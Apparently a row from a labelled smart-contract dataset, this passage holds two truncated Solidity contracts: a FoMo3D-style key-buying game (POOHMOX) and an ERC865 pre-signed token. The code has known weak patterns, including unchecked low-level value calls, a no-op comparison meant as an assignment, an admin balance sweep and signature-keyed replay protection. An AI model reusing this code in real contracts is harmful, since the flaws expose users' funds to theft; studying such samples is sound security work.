buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
POOHMOXDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMOXDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMOXDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
POOHMOXDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
POOHMOXDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOXevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit POOHMOXevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit POOHMOXevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
return 0.01 ether;
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, POOHMOXDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOXevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, POOHMOXDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit POOHMOXevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_)
private
{
require(_eth >= 0.01 ether);
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(POOHMOXDatasets.EventReturns memory _eventData_)
private
returns (POOHMOXDatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, POOHMOXDatasets.EventReturns memory _eventData_)
private
returns (POOHMOXDatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(POOHMOXDatasets.EventReturns memory _eventData_)
private
returns (POOHMOXDatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _dev = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _POOH = (_pot.mul(potSplit_[_winTID].pooh)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_dev)).sub(_gen)).sub(_POOH);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_dev);
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.POOHAmount = _POOH;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndMax_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, POOHMOXDatasets.EventReturns memory _eventData_)
private
returns(POOHMOXDatasets.EventReturns)
{
uint256 _dev = _eth / 100;
uint256 _POOH = 0;
if (!address(admin).call.value(_dev)())
{
_POOH = _dev;
_dev = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit POOHMOXevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_POOH = _POOH.add(_aff);
}
_POOH = _POOH.add((_eth.mul(fees_[_team].pooh)) / (100));
if (_POOH > 0)
{
flushDivs.call.value(_POOH)(bytes4(keccak256("donate()")));
_eventData_.POOHAmount = _POOH.add(_eventData_.POOHAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
admin.transfer(msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_)
private
returns(POOHMOXDatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].pooh)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, POOHMOXDatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit POOHMOXevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.POOHAmount,
_eventData_.genAmount,
_eventData_.potAmount
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function whenGameDies()
public
{
require(msg.sender == admin);
flushDivs.call.value(address(this).balance)(bytes4(keccak256("donate()")));
}
}
library POOHMOXDatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 POOHAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 pooh;
}
struct PotSplit {
uint256 gen;
uint256 pooh;
}
}
library KeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return (_eth / 0.01 ether);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return _keys.mul(0.01 ether);
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0);
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20);
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a));
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20);
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 4,239 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC865 is ERC20 {
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract ERC865Token is ERC865, StandardToken {
mapping(bytes => bool) signatures;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0), "No address provided");
require(signatures[_signature] == false, "No signature");
bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0), "From address is not provided");
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0), "Spender is not provided");
require(signatures[_signature] == false, "No signature");
bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0), "From addres is not provided");
allowed[from][_spender] = _value;
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
signatures[_signature] = true;
emit Approval(from, _spender, _value);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee);
return true;
}
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
